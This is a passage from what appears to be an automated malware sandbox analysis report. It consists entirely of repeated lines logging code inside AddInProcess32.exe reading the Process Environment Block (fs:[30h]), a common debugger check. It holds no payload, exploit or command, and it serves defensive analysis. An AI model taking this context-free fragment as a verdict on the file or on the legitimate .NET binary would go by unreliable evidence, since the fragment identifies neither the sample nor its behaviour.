Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018A92C5 mov eax, dword ptr fs:[00000030h]	5_2_018A92C5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0189B2D3 mov eax, dword ptr fs:[00000030h]	5_2_0189B2D3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0189B2D3 mov eax, dword ptr fs:[00000030h]	5_2_0189B2D3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0189B2D3 mov eax, dword ptr fs:[00000030h]	5_2_0189B2D3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018CF2D0 mov eax, dword ptr fs:[00000030h]	5_2_018CF2D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018CF2D0 mov eax, dword ptr fs:[00000030h]	5_2_018CF2D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018B02E1 mov eax, dword ptr fs:[00000030h]	5_2_018B02E1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018B02E1 mov eax, dword ptr fs:[00000030h]	5_2_018B02E1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018B02E1 mov eax, dword ptr fs:[00000030h]	5_2_018B02E1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0195F2F8 mov eax, dword ptr fs:[00000030h]	5_2_0195F2F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_019752E2 mov eax, dword ptr fs:[00000030h]	5_2_019752E2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018992FF mov eax, dword ptr fs:[00000030h]	5_2_018992FF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_019512ED mov eax, dword ptr fs:[00000030h]	5_2_019512ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_019512ED mov eax, dword ptr fs:[00000030h]	5_2_019512ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_019512ED mov eax, dword ptr fs:[00000030h]	5_2_019512ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_019512ED mov eax, dword ptr fs:[00000030h]	5_2_019512ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_019512ED mov eax, dword ptr fs:[00000030h]	5_2_019512ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_019512ED mov eax, dword ptr fs:[00000030h]	5_2_019512ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_019512ED mov eax, dword ptr fs:[00000030h]	5_2_019512ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_019512ED mov eax, dword ptr fs:[00000030h]	5_2_019512ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_019512ED mov eax, dword ptr fs:[00000030h]	5_2_019512ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_019512ED mov eax, dword ptr fs:[00000030h]	5_2_019512ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_019512ED mov eax, dword ptr fs:[00000030h]	5_2_019512ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_019512ED mov eax, dword ptr fs:[00000030h]	5_2_019512ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_019512ED mov eax, dword ptr fs:[00000030h]	5_2_019512ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_019512ED mov eax, dword ptr fs:[00000030h]	5_2_019512ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018D7208 mov eax, dword ptr fs:[00000030h]	5_2_018D7208
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018D7208 mov eax, dword ptr fs:[00000030h]	5_2_018D7208
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_01975227 mov eax, dword ptr fs:[00000030h]	5_2_01975227
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0189823B mov eax, dword ptr fs:[00000030h]	5_2_0189823B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018D724D mov eax, dword ptr fs:[00000030h]	5_2_018D724D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0195B256 mov eax, dword ptr fs:[00000030h]	5_2_0195B256
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0195B256 mov eax, dword ptr fs:[00000030h]	5_2_0195B256
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_01899240 mov eax, dword ptr fs:[00000030h]	5_2_01899240
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_01899240 mov eax, dword ptr fs:[00000030h]	5_2_01899240
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018A6259 mov eax, dword ptr fs:[00000030h]	5_2_018A6259
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0189A250 mov eax, dword ptr fs:[00000030h]	5_2_0189A250
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_01950274 mov eax, dword ptr fs:[00000030h]	5_2_01950274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_01950274 mov eax, dword ptr fs:[00000030h]	5_2_01950274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_01950274 mov eax, dword ptr fs:[00000030h]	5_2_01950274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_01950274 mov eax, dword ptr fs:[00000030h]	5_2_01950274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_01950274 mov eax, dword ptr fs:[00000030h]	5_2_01950274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_01950274 mov eax, dword ptr fs:[00000030h]	5_2_01950274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_01950274 mov eax, dword ptr fs:[00000030h]	5_2_01950274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_01950274 mov eax, dword ptr fs:[00000030h]	5_2_01950274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_01950274 mov eax, dword ptr fs:[00000030h]	5_2_01950274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_01950274 mov eax, dword ptr fs:[00000030h]	5_2_01950274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_01950274 mov eax, dword ptr fs:[00000030h]	5_2_01950274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_01950274 mov eax, dword ptr fs:[00000030h]	5_2_01950274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0189826B mov eax, dword ptr fs:[00000030h]	5_2_0189826B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018A4260 mov eax, dword ptr fs:[00000030h]	5_2_018A4260
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018A4260 mov eax, dword ptr fs:[00000030h]	5_2_018A4260
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018A4260 mov eax, dword ptr fs:[00000030h]	5_2_018A4260
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018C9274 mov eax, dword ptr fs:[00000030h]	5_2_018C9274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0196D26B mov eax, dword ptr fs:[00000030h]	5_2_0196D26B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0196D26B mov eax, dword ptr fs:[00000030h]	5_2_0196D26B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018E1270 mov eax, dword ptr fs:[00000030h]	5_2_018E1270
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018E1270 mov eax, dword ptr fs:[00000030h]	5_2_018E1270
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018D4588 mov eax, dword ptr fs:[00000030h]	5_2_018D4588
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0189758F mov eax, dword ptr fs:[00000030h]	5_2_0189758F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0189758F mov eax, dword ptr fs:[00000030h]	5_2_0189758F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0189758F mov eax, dword ptr fs:[00000030h]	5_2_0189758F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0192B594 mov eax, dword ptr fs:[00000030h]	5_2_0192B594
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0192B594 mov eax, dword ptr fs:[00000030h]	5_2_0192B594
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018A2582 mov eax, dword ptr fs:[00000030h]	5_2_018A2582
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018A2582 mov ecx, dword ptr fs:[00000030h]	5_2_018A2582
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018DE59C mov eax, dword ptr fs:[00000030h]	5_2_018DE59C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018C15A9 mov eax, dword ptr fs:[00000030h]	5_2_018C15A9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018C15A9 mov eax, dword ptr fs:[00000030h]	5_2_018C15A9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018C15A9 mov eax, dword ptr fs:[00000030h]	5_2_018C15A9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018C15A9 mov eax, dword ptr fs:[00000030h]	5_2_018C15A9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018C15A9 mov eax, dword ptr fs:[00000030h]	5_2_018C15A9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_019335BA mov eax, dword ptr fs:[00000030h]	5_2_019335BA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_019335BA mov eax, dword ptr fs:[00000030h]	5_2_019335BA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_019335BA mov eax, dword ptr fs:[00000030h]	5_2_019335BA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_019335BA mov eax, dword ptr fs:[00000030h]	5_2_019335BA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0195F5BE mov eax, dword ptr fs:[00000030h]	5_2_0195F5BE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_019205A7 mov eax, dword ptr fs:[00000030h]	5_2_019205A7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_019205A7 mov eax, dword ptr fs:[00000030h]	5_2_019205A7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_019205A7 mov eax, dword ptr fs:[00000030h]	5_2_019205A7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018CF5B0 mov eax, dword ptr fs:[00000030h]	5_2_018CF5B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018CF5B0 mov eax, dword ptr fs:[00000030h]	5_2_018CF5B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018CF5B0 mov eax, dword ptr fs:[00000030h]	5_2_018CF5B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018CF5B0 mov eax, dword ptr fs:[00000030h]	5_2_018CF5B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018CF5B0 mov eax, dword ptr fs:[00000030h]	5_2_018CF5B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018CF5B0 mov eax, dword ptr fs:[00000030h]	5_2_018CF5B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018CF5B0 mov eax, dword ptr fs:[00000030h]	5_2_018CF5B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018CF5B0 mov eax, dword ptr fs:[00000030h]	5_2_018CF5B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018CF5B0 mov eax, dword ptr fs:[00000030h]	5_2_018CF5B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018C45B1 mov eax, dword ptr fs:[00000030h]	5_2_018C45B1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018C45B1 mov eax, dword ptr fs:[00000030h]	5_2_018C45B1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_019735D7 mov eax, dword ptr fs:[00000030h]	5_2_019735D7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_019735D7 mov eax, dword ptr fs:[00000030h]	5_2_019735D7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_019735D7 mov eax, dword ptr fs:[00000030h]	5_2_019735D7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0191D5D0 mov eax, dword ptr fs:[00000030h]	5_2_0191D5D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0191D5D0 mov ecx, dword ptr fs:[00000030h]	5_2_0191D5D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018DE5CF mov eax, dword ptr fs:[00000030h]	5_2_018DE5CF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018DE5CF mov eax, dword ptr fs:[00000030h]	5_2_018DE5CF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018D55C0 mov eax, dword ptr fs:[00000030h]	5_2_018D55C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018C95DA mov eax, dword ptr fs:[00000030h]	5_2_018C95DA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018A65D0 mov eax, dword ptr fs:[00000030h]	5_2_018A65D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018DA5D0 mov eax, dword ptr fs:[00000030h]	5_2_018DA5D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018DA5D0 mov eax, dword ptr fs:[00000030h]	5_2_018DA5D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_019755C9 mov eax, dword ptr fs:[00000030h]	5_2_019755C9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018DC5ED mov eax, dword ptr fs:[00000030h]	5_2_018DC5ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018DC5ED mov eax, dword ptr fs:[00000030h]	5_2_018DC5ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018A25E0 mov eax, dword ptr fs:[00000030h]	5_2_018A25E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018CE5E7 mov eax, dword ptr fs:[00000030h]	5_2_018CE5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018CE5E7 mov eax, dword ptr fs:[00000030h]	5_2_018CE5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018CE5E7 mov eax, dword ptr fs:[00000030h]	5_2_018CE5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018CE5E7 mov eax, dword ptr fs:[00000030h]	5_2_018CE5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018CE5E7 mov eax, dword ptr fs:[00000030h]	5_2_018CE5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018CE5E7 mov eax, dword ptr fs:[00000030h]	5_2_018CE5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018CE5E7 mov eax, dword ptr fs:[00000030h]	5_2_018CE5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018CE5E7 mov eax, dword ptr fs:[00000030h]	5_2_018CE5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018C15F4 mov eax, dword ptr fs:[00000030h]	5_2_018C15F4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018C15F4 mov eax, dword ptr fs:[00000030h]	5_2_018C15F4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018C15F4 mov eax, dword ptr fs:[00000030h]	5_2_018C15F4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018C15F4 mov eax, dword ptr fs:[00000030h]	5_2_018C15F4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018C15F4 mov eax, dword ptr fs:[00000030h]	5_2_018C15F4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018C15F4 mov eax, dword ptr fs:[00000030h]	5_2_018C15F4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018D7505 mov eax, dword ptr fs:[00000030h]	5_2_018D7505
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018D7505 mov ecx, dword ptr fs:[00000030h]	5_2_018D7505
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_01974500 mov eax, dword ptr fs:[00000030h]	5_2_01974500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_01974500 mov eax, dword ptr fs:[00000030h]	5_2_01974500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_01974500 mov eax, dword ptr fs:[00000030h]	5_2_01974500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_01974500 mov eax, dword ptr fs:[00000030h]	5_2_01974500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_01974500 mov eax, dword ptr fs:[00000030h]	5_2_01974500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_01974500 mov eax, dword ptr fs:[00000030h]	5_2_01974500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_01974500 mov eax, dword ptr fs:[00000030h]	5_2_01974500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_01975537 mov eax, dword ptr fs:[00000030h]	5_2_01975537
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0194F525 mov eax, dword ptr fs:[00000030h]	5_2_0194F525
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0194F525 mov eax, dword ptr fs:[00000030h]	5_2_0194F525
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0194F525 mov eax, dword ptr fs:[00000030h]	5_2_0194F525
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0194F525 mov eax, dword ptr fs:[00000030h]	5_2_0194F525
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0194F525 mov eax, dword ptr fs:[00000030h]	5_2_0194F525
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0194F525 mov eax, dword ptr fs:[00000030h]	5_2_0194F525
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0194F525 mov eax, dword ptr fs:[00000030h]	5_2_0194F525
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018CE53E mov eax, dword ptr fs:[00000030h]	5_2_018CE53E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018CE53E mov eax, dword ptr fs:[00000030h]	5_2_018CE53E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018CE53E mov eax, dword ptr fs:[00000030h]	5_2_018CE53E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018CE53E mov eax, dword ptr fs:[00000030h]	5_2_018CE53E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018CE53E mov eax, dword ptr fs:[00000030h]	5_2_018CE53E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0195B52F mov eax, dword ptr fs:[00000030h]	5_2_0195B52F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018DD530 mov eax, dword ptr fs:[00000030h]	5_2_018DD530
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018DD530 mov eax, dword ptr fs:[00000030h]	5_2_018DD530
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018B0535 mov eax, dword ptr fs:[00000030h]	5_2_018B0535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018B0535 mov eax, dword ptr fs:[00000030h]	5_2_018B0535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018B0535 mov eax, dword ptr fs:[00000030h]	5_2_018B0535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018B0535 mov eax, dword ptr fs:[00000030h]	5_2_018B0535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018B0535 mov eax, dword ptr fs:[00000030h]	5_2_018B0535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018B0535 mov eax, dword ptr fs:[00000030h]	5_2_018B0535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018AD534 mov eax, dword ptr fs:[00000030h]	5_2_018AD534
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018AD534 mov eax, dword ptr fs:[00000030h]	5_2_018AD534
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018AD534 mov eax, dword ptr fs:[00000030h]	5_2_018AD534
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018AD534 mov eax, dword ptr fs:[00000030h]	5_2_018AD534
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018AD534 mov eax, dword ptr fs:[00000030h]	5_2_018AD534
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018AD534 mov eax, dword ptr fs:[00000030h]	5_2_018AD534
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018A8550 mov eax, dword ptr fs:[00000030h]	5_2_018A8550
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018A8550 mov eax, dword ptr fs:[00000030h]	5_2_018A8550
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018D656A mov eax, dword ptr fs:[00000030h]	5_2_018D656A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018D656A mov eax, dword ptr fs:[00000030h]	5_2_018D656A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018D656A mov eax, dword ptr fs:[00000030h]	5_2_018D656A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0189B562 mov eax, dword ptr fs:[00000030h]	5_2_0189B562
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018DB570 mov eax, dword ptr fs:[00000030h]	5_2_018DB570
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018DB570 mov eax, dword ptr fs:[00000030h]	5_2_018DB570
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0189B480 mov eax, dword ptr fs:[00000030h]	5_2_0189B480
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018A9486 mov eax, dword ptr fs:[00000030h]	5_2_018A9486
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018A9486 mov eax, dword ptr fs:[00000030h]	5_2_018A9486
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018A64AB mov eax, dword ptr fs:[00000030h]	5_2_018A64AB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0192A4B0 mov eax, dword ptr fs:[00000030h]	5_2_0192A4B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018D34B0 mov eax, dword ptr fs:[00000030h]	5_2_018D34B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018D44B0 mov ecx, dword ptr fs:[00000030h]	5_2_018D44B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_019754DB mov eax, dword ptr fs:[00000030h]	5_2_019754DB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018A04E5 mov ecx, dword ptr fs:[00000030h]	5_2_018A04E5
